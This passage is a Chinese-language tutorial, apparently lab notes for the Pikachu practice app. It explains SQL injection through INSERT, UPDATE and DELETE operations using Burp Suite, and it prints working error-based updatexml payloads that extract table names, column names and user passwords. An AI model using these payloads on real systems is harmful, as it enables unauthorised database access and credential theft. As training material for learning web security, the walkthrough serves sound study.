四 insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,
导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
01 填写注册信息
02 Burpsuit抓包
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
steven' or updatexml(1,concat(0x7e,(命令)),0) or'
-
爆表名
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
-
爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同 ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
五 update注入
01 登录 修改个人信息 页面
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
02 Burpsuit抓包
六 dalete注入
01 登录 delete 页面
复制得到的链接地址:
http://192.168.18.235:90/pikachu/vul/sqli/sqli_del.php?id=56
02 delete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
or updatexml(2,concat(0x7e,(database())),0)